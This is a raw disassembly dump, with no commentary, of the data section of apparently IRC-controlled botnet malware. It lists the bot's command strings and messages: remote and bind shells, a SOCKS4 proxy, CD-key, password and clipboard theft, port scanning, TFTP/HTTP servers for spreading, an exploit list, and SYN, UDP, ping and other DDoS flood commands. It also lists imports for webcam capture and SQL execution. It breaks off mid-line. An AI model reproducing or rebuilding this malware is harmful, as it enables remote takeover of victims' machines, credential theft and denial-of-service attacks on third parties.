l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BAC8 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BAFC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BB18 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB34 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB70 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB94 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BBB4 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBD4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BC0C db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC34 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC60 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC7C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BCC0 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD3C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD60 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD9C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDD8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE14 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE50 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE8C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BEC0 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BF18 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF54 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFD4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C014 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C050 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BFCo ; sub_401ACD+4FA1o aAsn445 db 'asn445',0 ; DATA XREF: sub_401ACD+1BE7o align 4 dword_42C0C4 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 10h unk_42C1A0 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1D4 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1E8 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1EC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1F8 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 10h aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 10h aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h unk_42C2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 10h aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 10h aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00438004o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437C20o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 10h aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C3A4 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C3C4 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3E8 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 10h aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C438 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 10h aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C480 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C4B4 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C4C4 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4D4 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4E4 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C500 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C50C dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C518 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 10h dword_42C530 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C53C dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C554 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C564 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 10h dword_42C580 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C590 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C5AC dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C5B8 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5CC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5D8 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5E4 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5F0 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C600 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 10h dword_42C620 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C62C dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C640 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C65C dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C678 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 10h dword_42C6A0 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 10h aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 10h aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 10h aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C4Co unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C74C: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C82C db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C854 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C898 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8D4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8EC dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8F4 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C910 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C91C dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C920 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C95C dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C964 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C978 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C99C db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9F0 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA5C: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA60: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA64 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: 